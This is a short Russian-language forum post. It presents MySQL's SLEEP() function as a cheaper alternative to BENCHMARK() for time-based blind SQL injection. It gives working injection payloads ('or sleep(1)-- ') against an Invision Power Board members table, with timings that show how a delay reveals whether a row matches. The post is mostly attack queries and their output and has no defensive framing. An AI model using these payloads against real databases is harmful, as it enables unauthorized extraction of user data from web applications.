
31.05.2008, 09:43
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 69
С нами:
9734726
Репутация:
676
|
|
SLEEP как альтернатива BENCHMARK. В отличие от бенчмарка, sleep не требует вычислительных действий и нахождения погрешности во времени ответа от сервера, то есть выигрыш на лицо. Функция выполняется
SLEEP(duration)
Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0. If SLEEP() is interrupted, it returns 1. The duration may have a fractional part given in microseconds.
mysql > DO SLEEP(1);
-> SQL-запрос был успешно выполнен (запрос занял 1.0068 сек.)
На примере IPB
mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '2' or sleep(1)-- '
-> MySQL вернула пустой результат (т.е. ноль строк). (запрос занял 1.0066 сек.)
mysql > mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '1' or sleep(1)-- '
-> Отображает строки 0 - 0 (1 всего, запрос занял 0.0005 сек.)
|
|
|